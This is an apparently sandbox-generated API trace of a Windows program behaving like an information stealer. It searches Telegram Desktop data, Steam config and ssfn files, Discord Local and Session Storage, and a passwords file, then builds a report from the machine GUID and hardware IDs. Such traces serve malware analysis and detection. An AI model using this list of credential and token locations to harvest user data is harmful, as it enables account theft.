[0052.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d910
[0052.931] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.931] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.931] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.931] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.931] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.931] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.931] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.931] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.932] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.932] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.932] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.932] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.932] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.932] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.932] lstrlenA (lpString="") returned 0
[0052.932] lstrcpyA (in: lpString1=0x181e2c, lpString2="\\passwords.txt" | out: lpString1="\\passwords.txt") returned="\\passwords.txt"
[0052.932] lstrlenA (lpString="/passwords.txt") returned 14
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".Z") returned 26
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".zip") returned -6
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".zoo") returned -6
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".arc") returned 19
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".lzh") returned 8
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".arj") returned 19
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".gz") returned 13
[0052.932] StrCmpCA (pszStr1=".txt", pszStr2=".tgz") returned 17
[0052.932] Sleep (dwMilliseconds=0x1)
[0052.939] Sleep (dwMilliseconds=0x3)
[0052.956] Sleep (dwMilliseconds=0x3)
[0052.970] Sleep (dwMilliseconds=0x7)
[0052.987] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Valve\\Steam", ulOptions=0x0, samDesired=0x20119, phkResult=0x19a7c8 | out: phkResult=0x19a7c8*=0x0) returned 0x2
[0052.987] RegCloseKey (hKey=0x0) returned 0x6
[0052.988] lstrcatA (in: lpString1="", lpString2="" | out: lpString1="") returned=""
[0052.988] lstrcatA (in: lpString1="", lpString2="\\config\\" | out: lpString1="\\config\\") returned="\\config\\"
[0052.988] wsprintfA (in: param_1=0x19a4a4, param_2="%s\\%s" | out: param_1="\\ssfn*") returned 6
[0052.988] FindFirstFileA (in: lpFileName="\\ssfn*" (normalized: "c:\\ssfn*"), lpFindFileData=0x19a364 | out: lpFindFileData=0x19a364*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.988] wsprintfA (in: param_1=0x19a49c, param_2="%s\\%s" | out: param_1="\\config\\\\config.vdf") returned 19
[0052.988] FindFirstFileA (in: lpFileName="\\config\\\\config.vdf" (normalized: "c:\\config\\config.vdf"), lpFindFileData=0x19a35c | out: lpFindFileData=0x19a35c*(dwFileAttributes=0xf, ftCreationTime.dwLowDateTime=0x40ab9e, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.988] wsprintfA (in: param_1=0x19a494, param_2="%s\\%s" | out: param_1="\\config\\\\DialogConfig.vdf") returned 25
[0052.988] FindFirstFileA (in: lpFileName="\\config\\\\DialogConfig.vdf" (normalized: "c:\\config\\dialogconfig.vdf"), lpFindFileData=0x19a354 | out: lpFindFileData=0x19a354*(dwFileAttributes=0xf, ftCreationTime.dwLowDateTime=0x40ab9e, ftCreationTime.dwHighDateTime=0xf, ftLastAccessTime.dwLowDateTime=0x40ab9e, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.988] wsprintfA (in: param_1=0x19a48c, param_2="%s\\%s" | out: param_1="\\config\\\\DialogConfigOverlay*.vdf") returned 33
[0052.988] FindFirstFileA (in: lpFileName="\\config\\\\DialogConfigOverlay*.vdf" (normalized: "c:\\config\\dialogconfigoverlay*.vdf"), lpFindFileData=0x19a34c | out: lpFindFileData=0x19a34c*(dwFileAttributes=0xf, ftCreationTime.dwLowDateTime=0x40ab9e, ftCreationTime.dwHighDateTime=0xf, ftLastAccessTime.dwLowDateTime=0x40ab9e, ftLastAccessTime.dwHighDateTime=0xf, ftLastWriteTime.dwLowDateTime=0x40ab9e, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.988] wsprintfA (in: param_1=0x19a484, param_2="%s\\%s" | out: param_1="\\config\\\\libraryfolders.vdf") returned 27
[0052.988] FindFirstFileA (in: lpFileName="\\config\\\\libraryfolders.vdf" (normalized: "c:\\config\\libraryfolders.vdf"), lpFindFileData=0x19a344 | out: lpFindFileData=0x19a344*(dwFileAttributes=0xf, ftCreationTime.dwLowDateTime=0x40ab9e, ftCreationTime.dwHighDateTime=0xf, ftLastAccessTime.dwLowDateTime=0x40ab9e, ftLastAccessTime.dwHighDateTime=0xf, ftLastWriteTime.dwLowDateTime=0x40ab9e, ftLastWriteTime.dwHighDateTime=0xf, nFileSizeHigh=0x40ab9e, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.988] wsprintfA (in: param_1=0x19a47c, param_2="%s\\%s" | out: param_1="\\config\\\\loginusers.vdf") returned 23
[0052.989] FindFirstFileA (in: lpFileName="\\config\\\\loginusers.vdf" (normalized: "c:\\config\\loginusers.vdf"), lpFindFileData=0x19a33c | out: lpFindFileData=0x19a33c*(dwFileAttributes=0xf, ftCreationTime.dwLowDateTime=0x40ab9e, ftCreationTime.dwHighDateTime=0xf, ftLastAccessTime.dwLowDateTime=0x40ab9e, ftLastAccessTime.dwHighDateTime=0xf, ftLastWriteTime.dwLowDateTime=0x40ab9e, ftLastWriteTime.dwHighDateTime=0xf, nFileSizeHigh=0x40ab9e, nFileSizeLow=0xf, dwReserved0=0x40ab9e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.989] Sleep (dwMilliseconds=0x1)
[0053.003] Sleep (dwMilliseconds=0x3)
[0053.018] Sleep (dwMilliseconds=0x3)
[0053.033] Sleep (dwMilliseconds=0x7)
[0053.051] lstrcatA (in: lpString1="", lpString2="\\discord\\" | out: lpString1="\\discord\\") returned="\\discord\\"
[0053.051] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199e08 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0053.051] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\discord\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\"
[0053.051] lstrcatA (in: lpString1="", lpString2="Discord" | out: lpString1="Discord") returned="Discord"
[0053.051] lstrcatA (in: lpString1="", lpString2="Local Storage" | out: lpString1="Local Storage") returned="Local Storage"
[0053.051] lstrcatA (in: lpString1="", lpString2="leveldb" | out: lpString1="leveldb") returned="leveldb"
[0053.051] lstrcatA (in: lpString1="", lpString2="CURRENT" | out: lpString1="CURRENT") returned="CURRENT"
[0053.051] lstrcatA (in: lpString1="", lpString2="Session Storage" | out: lpString1="Session Storage") returned="Session Storage"
[0053.051] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\", lpString2="Local Storage" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\", lpString2="leveldb" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb\\", lpString2="CURRENT" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb\\CURRENT") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb\\CURRENT"
[0053.051] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\", lpString2="Local Storage" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\", lpString2="leveldb" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb"
[0053.051] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\", lpString2="Session Storage" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage\\"
[0053.051] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage\\", lpString2="CURRENT" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage\\CURRENT") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage\\CURRENT"
[0053.051] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\"
[0053.052] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\"
[0053.052] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\", lpString2="Session Storage" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage"
[0053.052] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Local Storage\\leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb\\current")) returned 0xffffffff
[0053.052] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\\\Session Storage\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\session storage\\current")) returned 0xffffffff
[0053.052] Sleep (dwMilliseconds=0x1)
[0053.066] Sleep (dwMilliseconds=0x3)
[0053.081] Sleep (dwMilliseconds=0x3)
[0053.096] Sleep (dwMilliseconds=0x7)
[0053.161] lstrcatA (in: lpString1="", lpString2="Version: " | out: lpString1="Version: ") returned="Version: "
[0053.161] lstrcatA (in: lpString1="Version: ", lpString2="3.4" | out: lpString1="Version: 3.4") returned="Version: 3.4"
[0053.161] lstrcatA (in: lpString1="Version: 3.4", lpString2="\n\n" | out: lpString1="Version: 3.4\n\n") returned="Version: 3.4\n\n"
[0053.161] lstrcatA (in: lpString1="Version: 3.4\n\n", lpString2="Date: " | out: lpString1="Version: 3.4\n\nDate: ") returned="Version: 3.4\n\nDate: "
[0053.161] GetProcessHeap () returned 0x680000
[0053.161] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0x6e32c0
[0053.161] GetLocalTime (in: lpSystemTime=0x1822b8 | out: lpSystemTime=0x1822b8*(wYear=0x7e7, wMonth=0x4, wDayOfWeek=0x4, wDay=0xd, wHour=0x10, wMinute=0x10, wSecond=0x2, wMilliseconds=0x239))
[0053.161] wsprintfA (in: param_1=0x6e32c0, param_2="%d/%d/%d %d:%d:%d" | out: param_1="13/4/2023 16:16:2") returned 17
[0053.161] lstrcatA (in: lpString1="Version: 3.4\n\nDate: ", lpString2="13/4/2023 16:16:2" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2"
[0053.161] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\n"
[0053.161] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\n", lpString2="MachineID: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: "
[0053.161] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1820bc | out: phkResult=0x1820bc*=0x468) returned 0x0
[0053.161] RegQueryValueExA (in: hKey=0x468, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x1821c4, lpcbData=0x1820c0*=0xff | out: lpType=0x0, lpData=0x1821c4*=0x30, lpcbData=0x1820c0*=0x25) returned 0x0
[0053.161] RegCloseKey (hKey=0x468) returned 0x0
[0053.161] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x1820c4 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1
[0053.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d910
[0053.161] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: ", lpString2="03845cb8-7441-4a2f-8c0f-c90408af5778" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778"
[0053.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0053.162] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\n"
[0053.162] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\n", lpString2="GUID: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: "
[0053.162] GetCurrentHwProfileA (in: lpHwProfileInfo=0x182248 | out: lpHwProfileInfo=0x182248) returned 1
[0053.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d910
[0053.162] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: ", lpString2="{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}"
[0053.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0053.162] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\n"
[0053.162] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\n", lpString2="HWID: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: "
[0053.162] GetWindowsDirectoryA (in: lpBuffer=0x1821b4, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
